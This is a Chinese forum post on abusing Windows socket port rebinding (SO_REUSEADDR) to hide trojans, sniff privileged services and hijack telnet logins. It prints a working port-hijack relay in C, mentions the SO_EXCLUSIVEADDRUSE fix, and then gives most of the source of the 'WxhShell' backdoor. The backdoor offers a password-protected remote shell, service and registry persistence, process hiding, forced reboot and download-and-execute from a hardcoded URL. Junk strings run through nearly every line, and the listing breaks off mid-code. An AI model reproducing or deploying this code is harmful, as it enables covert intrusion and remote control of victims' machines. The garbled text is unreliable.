社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 13511阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: _]<]:b  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);  Pg`^EJ+  
~zuMX ;[  
  saddr.sin_family = AF_INET; &Zf@vD  
^@6eN]  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); s6qe5[  
}#Vo XilX  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); "e_ED*  
v+\E%H  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 7$^V_{ej  
N%^mR>.`  
  这意味着什么?意味着可以进行如下的攻击:  fBQZ=zh  
r"0nUf*og:  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 n%ld*EgY  
{2V=BDS|?K  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) MxCs0::w  
yX8F^iv[  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 YN\ QwV  
E P<U:F  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  :\.v\.wm  
`_f3o,5  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 H#1/H@I#  
C#gQJ=!B  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Wve ^2lkoK  
EmLPq!C  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 yqoi2J:  
~ 9'64  
  #include ^tpy8TQ  
  #include [7$<sN<'  
  #include  s cn!,  
  #include    q6osRK*20  
  DWORD WINAPI ClientThread(LPVOID lpParam);   K7CiICe  
  int main() PZ"xW0"-  
  { %.Mtn%:I *  
  WORD wVersionRequested; $i =-A  
  DWORD ret; &jj\-;=~Ho  
  WSADATA wsaData; !'+t)h9^  
  BOOL val; )`g[k" yB3  
  SOCKADDR_IN saddr; z muq4-.  
  SOCKADDR_IN scaddr; hI?<F^b  
  int err; {a>)VZw_#  
  SOCKET s; 6_9w1 ,W E  
  SOCKET sc; Ad]r )d{  
  int caddsize; 0}aJCJ9sx=  
  HANDLE mt; IPJs$PtKok  
  DWORD tid;   0V1kZ.  
  wVersionRequested = MAKEWORD( 2, 2 ); o]jo R3  
  err = WSAStartup( wVersionRequested, &wsaData ); ~L?p/3m   
  if ( err != 0 ) { t[3Upe%  
  printf("error!WSAStartup failed!\n"); 8^M5u>=t;  
  return -1; ?p$WqVN}  
  } dkCSqNFL)  
  saddr.sin_family = AF_INET; F.O2;M|x  
   Va9vDb6  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 E{j6OX\  
/AWHG._  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 2y,~i;;_  
  saddr.sin_port = htons(23); 89WuxCFS  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) J :,  
  { m V^dIm  
  printf("error!socket failed!\n"); B:9Z ;g@&  
  return -1; + J_W}G  
  } ]ImS@!Ajjx  
  val = TRUE; 7\jH?Zi  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 J\2F%kBej?  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) TzPVO>s  
  { 654PW9{(  
  printf("error!setsockopt failed!\n"); ujwI4oj"c  
  return -1; "ebn0<cZ  
  } 15SIZ:Q  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; CIV6 Qe"<  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 's*UU:R  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 4u:{PN  
_&yQW&vH#  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) QAu^]1;  
  { k"AY7vq@!P  
  ret=GetLastError(); #Xsby  
  printf("error!bind failed!\n"); dU+1@_  
  return -1; ,(lD5iN  
  } bXtA4O  
  listen(s,2); Xf#uK\f  
  while(1) j8N8|\n-  
  { }LE.kd&  
  caddsize = sizeof(scaddr); 7O"T `>  
  //接受连接请求 iPE-j#|  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 0k3^+#J  
  if(sc!=INVALID_SOCKET) v^KJU +  
  { kV-a'"W5  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);  vlE#z  
  if(mt==NULL) $|A vT;4  
  { O:D`6U+0  
  printf("Thread Creat Failed!\n"); |Z!C`G[  
  break; ?5Lom#^  
  } vR:t4EJ`  
  } q!Nwf XJM  
  CloseHandle(mt); qf ]ax!bK  
  } t-/%|@?D  
  closesocket(s); RCoz;|c`P  
  WSACleanup(); F[~qgS*;  
  return 0; # U!J2240  
  }   ~lQ]PKJ"  
  DWORD WINAPI ClientThread(LPVOID lpParam) l1YyZ^Z  
  { BhNwC[G?m  
  SOCKET ss = (SOCKET)lpParam; LG51e7_gFi  
  SOCKET sc; n) `4*d$`  
  unsigned char buf[4096]; 6s>PZh  
  SOCKADDR_IN saddr; z#O{rwnl  
  long num; ;9b?[G  
  DWORD val; _*&<hAZj  
  DWORD ret; qB"y'UW8  
  //如果是隐藏端口应用的话,可以在此处加一些判断 i"_JF-IbN  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   r\L:JTZ$  
  saddr.sin_family = AF_INET; GVFD_;j'  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); bx`(d@  
  saddr.sin_port = htons(23); 40+E#z)  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 48w3gye  
  { ? BBDk  
  printf("error!socket failed!\n"); M*@MkN*u&  
  return -1; e?F r/n  
  } X/'B*y'=U  
  val = 100; 5MiWM2"X\  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) LgB}!OLQ  
  { q-p4k`]  
  ret = GetLastError(); >Utn[']~  
  return -1; D|UDLaz~  
  } T*'5-WV|3t  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) =g?r.;OO  
  { Hs2L$TX  
  ret = GetLastError(); 'L=g(  
  return -1; E-n!3RQ(w  
  } l1!i3m'x  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 7dxY07 yu  
  { Z;lE-`Z*(F  
  printf("error!socket connect failed!\n"); J]$%1Y  
  closesocket(sc); {"s9A&  
  closesocket(ss); Y$Fbi2A4  
  return -1; ]}C#"Xt  
  } d0 |Q1R+3  
  while(1) 4}96|2L5  
  { x+%lNR  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ,ad~ 6.Z_)  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 0wxQ,PI1'  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 "<bL-k*H)  
  num = recv(ss,buf,4096,0); gTiDV{ Ip  
  if(num>0) Ho*S >Y  
  send(sc,buf,num,0); }|Cw]GW  
  else if(num==0) +X.iJ$)  
  break; LvE|K&R|  
  num = recv(sc,buf,4096,0); )]rGGNF*  
  if(num>0) R%}OZJ_  
  send(ss,buf,num,0); -08Ys c  
  else if(num==0) h&[!CtPm  
  break; )V~<8/)  
  } DR^mT$  
  closesocket(ss); H| IsjCc  
  closesocket(sc); rt t?4  
  return 0 ; 3Qn! `  
  } b abDLaC@  
?T?%x(]I  
0^tF_."Y  
========================================================== k|a{ |2p  
vPpbm  
下边附上一个代码,,WXhSHELL IRXpk 6|  
(z+[4l7  
========================================================== , lT8gQ|u  
:9]23'Md  
#include "stdafx.h" NIQa{R/H  
H=7dp%b"  
#include <stdio.h> z_r W1?|  
#include <string.h> rcNM,!dZ  
#include <windows.h> YIt:_][*  
#include <winsock2.h> mn4j#-  
#include <winsvc.h> h jW RU#  
#include <urlmon.h> M[HPHNsA&  
,O $F`0>9A  
#pragma comment (lib, "Ws2_32.lib") 4jO~kcad  
#pragma comment (lib, "urlmon.lib") dYk)RX`}7!  
sK}Ru?a)  
#define MAX_USER   100 // 最大客户端连接数 %%kl R{  
#define BUF_SOCK   200 // sock buffer 2>?GD@GE  
#define KEY_BUFF   255 // 输入 buffer Vs\ )w>JF  
AaKILIIQZ  
#define REBOOT     0   // 重启 )` '  
#define SHUTDOWN   1   // 关机 EtN"K-X  
o]PSyVg  
#define DEF_PORT   5000 // 监听端口 Nf1) 5  
}evc]?1(  
#define REG_LEN     16   // 注册表键长度 In:h%4>  
#define SVC_LEN     80   // NT服务名长度 $kkdB,y  
F1gDeLmJ  
// 从dll定义API kax9RH vku  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); <&b ~(f  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); V|<qO-#.  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ';zLh  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ?Q:se  
/vSFQ}W  
// wxhshell配置信息 ]qhVxeUm  
struct WSCFG { *)g*5kKN  
  int ws_port;         // 监听端口 (47jop0RDQ  
  char ws_passstr[REG_LEN]; // 口令 c$@,*c 0n  
  int ws_autoins;       // 安装标记, 1=yes 0=no nr-VzF7zu  
  char ws_regname[REG_LEN]; // 注册表键名 1b* dC;<  
  char ws_svcname[REG_LEN]; // 服务名 +xFtGF)  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 OjyS ?YY)b  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 5#q ^lL  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 |0A n| 18  
int ws_downexe;       // 下载执行标记, 1=yes 0=no >p2v"XX  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" )bPwB.}kq  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 P@ 1D  
 ,Ad\!  
}; _17c}o#`5w  
SJIJV6}H  
// default Wxhshell configuration 3J%jD  
struct WSCFG wscfg={DEF_PORT, /O/u5P{J  
    "xuhuanlingzhe", ||9f@9  
    1, ?W%3>A  
    "Wxhshell", Wb/@~!+i`  
    "Wxhshell", rx|/]NE;  
            "WxhShell Service", JnV$)EYi  
    "Wrsky Windows CmdShell Service", - stSl*  
    "Please Input Your Password: ", ur9-F^$  
  1, lr,hF1r&Y  
  "http://www.wrsky.com/wxhshell.exe", {%b>/r  
  "Wxhshell.exe" \ 1ys2BX  
    }; F#Z]Xq0r  
q2&&n6PYW  
// 消息定义模块 ~'v^__8  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; r(J7&vR}h  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ' G) Wy|*  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; \#G`$JD  
char *msg_ws_ext="\n\rExit."; L$lo5  
char *msg_ws_end="\n\rQuit."; zVkHDT[  
char *msg_ws_boot="\n\rReboot..."; C Hyb{:<  
char *msg_ws_poff="\n\rShutdown..."; bZ )3{  
char *msg_ws_down="\n\rSave to "; |I85]'K9a  
q35%t61Lc  
char *msg_ws_err="\n\rErr!"; ax'Dp{Q  
char *msg_ws_ok="\n\rOK!"; LTBqXh  
yd#4b`8U`  
char ExeFile[MAX_PATH]; i&Xr+Zsec"  
int nUser = 0; - uliND  
HANDLE handles[MAX_USER]; h`&mW w  
int OsIsNt; 0`,a@Q4  
oV,>u5:B  
SERVICE_STATUS       serviceStatus; g7_a8_  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ~EE*/vX  
q+|Dm<Ug  
// 函数声明 [<8<+lH=P  
int Install(void); )wSsxX7:  
int Uninstall(void); >SSF:hI"J  
int DownloadFile(char *sURL, SOCKET wsh); 4'G<qJoc  
int Boot(int flag); Lr40rLx;u  
void HideProc(void); |Z#) 1K  
int GetOsVer(void); ;y4 "wBX  
int Wxhshell(SOCKET wsl); oA_AnD?G+  
void TalkWithClient(void *cs); |F9/7 z\5+  
int CmdShell(SOCKET sock); k<8:  
int StartFromService(void); w}oH]jVKL6  
int StartWxhshell(LPSTR lpCmdLine); l&;#`\s!V  
p.8G]pS  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); qhLe[[>  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); wyvs#T  
> *vI:MG8  
// 数据结构和表定义 (p^q3\  
SERVICE_TABLE_ENTRY DispatchTable[] = yd`.Rb&V  
{ f0MHh5  
{wscfg.ws_svcname, NTServiceMain}, R"=G?d)  
{NULL, NULL} l.>QO ;  
}; \HTXl]  
6i{W=$ RQ  
// 自我安装 aHwrFkn  
int Install(void) lZ/Yp~2S  
{ kmo3<'j{  
  char svExeFile[MAX_PATH]; -L1{0{Z  
  HKEY key; ;Q? Qwda  
  strcpy(svExeFile,ExeFile); UAUo)VVi"  
)v0m7L v#/  
// 如果是win9x系统,修改注册表设为自启动 cz&FOP+!  
if(!OsIsNt) { E xY ~.  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { zF\k*B  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); a8A8?:  
  RegCloseKey(key); !oM 1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { qo$<&'r  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); nyTfTn  
  RegCloseKey(key); `Z/"Dd;F^3  
  return 0; 1mf|:2,  
    } )CihqsA2  
  } J} %&;uv  
} wQ4/eQ*  
else { M6y:ze  
"d%":F(  
// 如果是NT以上系统,安装为系统服务 Y7!,s-v4W  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); a;([L8^7$l  
if (schSCManager!=0) @Je{;1   
{ CW, Kw  
  SC_HANDLE schService = CreateService l(%bdy  
  ( spd>.Cm`  
  schSCManager, ?ry`+nx  
  wscfg.ws_svcname, S(9fGh  
  wscfg.ws_svcdisp, ]e)<CE2   
  SERVICE_ALL_ACCESS, #}e)*(  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , IuB0C!'  
  SERVICE_AUTO_START, C!~&c7  
  SERVICE_ERROR_NORMAL, Y/)>\  
  svExeFile, /d8PDc"  
  NULL, MP0gLi  
  NULL, Yl>@(tu)|  
  NULL, GP`_R  
  NULL, q3 1swP  
  NULL 8[2^`g  
  ); 5 E DGl  
  if (schService!=0) :|N5fkhN  
  { A4 o'EQ?~  
  CloseServiceHandle(schService); LUw0MW(Moi  
  CloseServiceHandle(schSCManager); ~{RXc+  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); [fO \1J  
  strcat(svExeFile,wscfg.ws_svcname); ?w /tq!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { SP5/K3t-*  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); oy#Qj3M8=  
  RegCloseKey(key); wGLZzqgq  
  return 0; PL%_V ?z  
    } nuhKM.a{  
  } &kYg >X  
  CloseServiceHandle(schSCManager); #RZW)Br  
} V\X.AGc  
} vYrqZie<  
mqw& SxU9  
return 1; ] 6M- s  
} !W .ooy5(  
3%!d&j>v  
// 自我卸载 k+&LOb7  
int Uninstall(void) r5tv9#4]  
{ Ba6''?;G  
  HKEY key; ([tbFI}A  
v#nYH?+~mJ  
if(!OsIsNt) { EcBSi995dj  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { I tp7X  
  RegDeleteValue(key,wscfg.ws_regname); Lc0^I<Y  
  RegCloseKey(key); "P"~/<:)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { NFU 5+X-c  
  RegDeleteValue(key,wscfg.ws_regname); LIirOf~e;!  
  RegCloseKey(key); qmv%N  
  return 0; 9.D'!  
  } YYZE-{ %  
} cZ%weQa#N)  
} *d?,i -Q.+  
else { *siS4RX2  
|*i0h`a  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); GC~Tfrf=r  
if (schSCManager!=0) T>.*c6I b  
{ Abd&p N  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); !1w=_  
  if (schService!=0) P*)}ENY  
  { Xr6UN{_-  
  if(DeleteService(schService)!=0) { F{B__Kf  
  CloseServiceHandle(schService); WFsa8qv  
  CloseServiceHandle(schSCManager); NuLQkf)  
  return 0; 28>gAz.#  
  } FF)F%o+:w  
  CloseServiceHandle(schService); aj|I[65  
  } W6 f*>  
  CloseServiceHandle(schSCManager); ?b:l.0m  
} ,eF}`  
} PIsMx-i0  
bL]*K$  
return 1; qOqQt=ObU  
} w=e~ M  
T&fqn!i  
// 从指定url下载文件 *'1qA0Xc  
int DownloadFile(char *sURL, SOCKET wsh) g75)&U`>}  
{ T B1E1  
  HRESULT hr; Gt2NUGU  
char seps[]= "/"; Qf6Vj,~N  
char *token; :,]V 03  
char *file; g3Xq@RAJc  
char myURL[MAX_PATH]; BD\xUjd?)Q  
char myFILE[MAX_PATH]; TmvI+AY/  
sas;<yh  
strcpy(myURL,sURL); - b:&ACY  
  token=strtok(myURL,seps); /{."*jK  
  while(token!=NULL) <A;R%\V  
  { w|O MT>.  
    file=token; jyb/aov  
  token=strtok(NULL,seps); )F8G q,  
  } r**u=q %p  
4S`2")V  
GetCurrentDirectory(MAX_PATH,myFILE); Fi14_{  
strcat(myFILE, "\\"); [x kbzJ  
strcat(myFILE, file); #9F=+[L  
  send(wsh,myFILE,strlen(myFILE),0); j[.R|I|  
send(wsh,"...",3,0); >MauuL,.j  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 4'cdV0]  
  if(hr==S_OK) <=W;z=$!Bb  
return 0; T&H[JQ/h  
else WSz#g2a  
return 1; xrFFmQ<_W  
)}0(7z Yu  
} cz~Fz;)2{N  
J'G 6Z7  
// 系统电源模块 GKTrf\"c  
int Boot(int flag) b*+Od8r  
{ /U4F\pZl  
  HANDLE hToken; se:]F/  
  TOKEN_PRIVILEGES tkp; /bjyV]N  
NldeD2~H  
  if(OsIsNt) { =6y4*f  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); WZOi,  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); p-POg%|&<  
    tkp.PrivilegeCount = 1; LBh|4S$K  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; rwWs\~.H  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); wf)T-]e  
if(flag==REBOOT) { Eaf6rjD  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) H~Xi;[{7  
  return 0; &^=6W3RD  
} E:a_f!  
else { ,_,Z<X/  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) U p=J&^.  
  return 0; .]SE>3  
} B[%FZm$`M  
  } oKLL~X>!U  
  else { }1 = V`N(  
if(flag==REBOOT) { oJE~dY$Q  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) .bE+dA6:v  
  return 0; ~Gx"gK0  
} b_+dNoB  
else { 9*pH[vH  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 3J%(2}{y  
  return 0; 4E/Q+^?  
} aKkL0 D  
} 2I(b ad  
klmRU@D  
return 1; =~}\g;K1Q  
} KSe `G;{  
P1tc*2Z  
// win9x进程隐藏模块 ;.>CDt-E]  
void HideProc(void) r%\(5H f  
{ $ lz\t e  
#usi1UWB#Q  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); :y^0]In  
  if ( hKernel != NULL ) 'id] <<F  
  { p uEu v6F  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); iOXxxP%#  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); *{5p/}p  
    FreeLibrary(hKernel); iPgewjx  
  } 29p`G1n  
\wwY?lOe  
return; wQ-pIi{G  
} /UtCJMQ  
Sqw:U|h\FS  
// 获取操作系统版本 2Hl0besm  
int GetOsVer(void) I-<U u 2  
{ s$Z zS2d  
  OSVERSIONINFO winfo; xXkP(^ Y  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); VUAW/  
  GetVersionEx(&winfo); 8@ y@}  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ]Y@Db5S$T  
  return 1; Z3X/SQ'0  
  else y;aZMT.YI  
  return 0; GG@GjP<_  
} sx7;G^93  
[*^` rQ  
// 客户端句柄模块 W?is8r:  
int Wxhshell(SOCKET wsl) /o%J / |  
{ rV;X1x}l  
  SOCKET wsh; r1dP9MT\8  
  struct sockaddr_in client; ]U?)_P@}  
  DWORD myID; ,tqMMBwC~_  
3Run.Gv\  
  while(nUser<MAX_USER) V/xGk9L~  
{ eFJ .)Z  
  int nSize=sizeof(client); *q**,_?;  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); k<xPg5  
  if(wsh==INVALID_SOCKET) return 1; [HNWM/ff7+  
=qG%h5]n  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); cXP*?N4C f  
if(handles[nUser]==0) t6m&+N  
  closesocket(wsh); `P/7Mf  
else |Rk9W  
  nUser++; 3Ov? kWFO  
  } tgeX~.  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); #( G>J4E,  
aLa{zB  
  return 0; kC:GEY<N:Q  
} O.OPIQ=?:w  
]rk8Jsg  
// 关闭 socket y*ux7KO  
void CloseIt(SOCKET wsh) C(/{53G(  
{ m+&) eQ:  
closesocket(wsh); ~\HGV+S!g}  
nUser--; N_<wiwI<  
ExitThread(0); L>:YGM"sL  
} D3,9X#B=  
fH{ _X  
// 客户端请求句柄 5ZpU><y  
void TalkWithClient(void *cs) abAX)R'  
{ H$G`e'`OZ  
Q)vf>LwC2S  
  SOCKET wsh=(SOCKET)cs; )o4B^kq  
  char pwd[SVC_LEN]; ^xz*%2@  
  char cmd[KEY_BUFF]; O>FE-0rW}e  
char chr[1]; S: b-+w|*  
int i,j; ]dvNUD   
m[l[yUw#  
  while (nUser < MAX_USER) { 8nKZ   
z _A]mJ  
if(wscfg.ws_passstr) { 9:[L WT&  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 6d%V=1^F  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Eu;f~ V  
  //ZeroMemory(pwd,KEY_BUFF); _c:}i\8R  
      i=0; G%Dhj)2}  
  while(i<SVC_LEN) { W.67};',  
i"4&UJu1;  
  // 设置超时 CSu}_$wC#  
  fd_set FdRead; Obj?,O  
  struct timeval TimeOut; =H8 LBM  
  FD_ZERO(&FdRead); }fqz8'E9  
  FD_SET(wsh,&FdRead); 3y9R1/!  
  TimeOut.tv_sec=8; l:Hm|9UZ  
  TimeOut.tv_usec=0; .A6i?iROe  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); fm u;Pb]r  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); a8Va3Y  
o'#ow(X  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); A.[~}ywH  
  pwd=chr[0]; ],.1=iY  
  if(chr[0]==0xd || chr[0]==0xa) { DAvF ND$=  
  pwd=0; ()cqax4  
  break; ON()2@Y4  
  } ;&K +x@  
  i++; g+:Go9k!F  
    } <r`^iR)%  
JSf \ApX  
  // 如果是非法用户,关闭 socket B:?MMXB  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ; fOkR+  
} N A`qC.K   
3$TU2-x;g  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); BNj@~uC{  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 4ju=5D];   
7~f"8\  
while(1) { ,\]`X7r  
WciL zx/  
  ZeroMemory(cmd,KEY_BUFF); )fGIe rS  
3 *g>kRMJ  
      // 自动支持客户端 telnet标准   [p:mja.6y  
  j=0; q2SlK8`QJ  
  while(j<KEY_BUFF) { bxXNv^  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); s+omCr|H;A  
  cmd[j]=chr[0]; \jHHj\LLr.  
  if(chr[0]==0xa || chr[0]==0xd) { +xL*`fn  
  cmd[j]=0; -% ,3qhsd  
  break; O/{X:Ja{  
  } eI#b%h  
  j++; He1hgJ)N  
    } VMZUJ2Yj/&  
<meQ  
  // 下载文件 p#QR^|7"  
  if(strstr(cmd,"http://")) { t5M"M{V  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); s+fjQo4  
  if(DownloadFile(cmd,wsh)) Kn#CIFbBN  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); AuW-XK.  
  else *hV$\CLT.  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _G62E $=  
  } cOa){&u  
  else { rYn)E=FG/  
+m>)q4e  
    switch(cmd[0]) { :4\=xGiY  
  exP:lO_0n  
  // 帮助 4S 7#B  
  case '?': { S A\_U::T  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); pRez${f.(s  
    break; .@`5>_  
  } <Na .6P  
  // 安装 z&Kh$ $)[  
  case 'i': { y$Rh$e K  
    if(Install()) N"zg)MsX  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); EvJ<X,Bo  
    else j8cXv  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); l'Kx#y$  
    break; x)0''}E~  
    } j7>a ^W  
  // 卸载 X{BS]   
  case 'r': { \r5L7y$9 h  
    if(Uninstall()) UzKB"Q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); N'@E^ rYc  
    else "?n;dXYSi  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +YFAZv7`  
    break; }fqy vI  
    } tupAU$h?!  
  // 显示 wxhshell 所在路径 C&/_mm5  
  case 'p': { AK_,$'f  
    char svExeFile[MAX_PATH]; ]ME2V  
    strcpy(svExeFile,"\n\r"); 5\jzIB_?  
      strcat(svExeFile,ExeFile); VEG p!~D  
        send(wsh,svExeFile,strlen(svExeFile),0); W2T-TI,>PC  
    break; $ vt6~nfI  
    } %Mxc"% w  
  // 重启 m2x=Qv][@c  
  case 'b': { $*S&i(z  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); nYE' 'g+x  
    if(Boot(REBOOT)) F5s`AjU  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;/R\!E   
    else { }7+`[g  
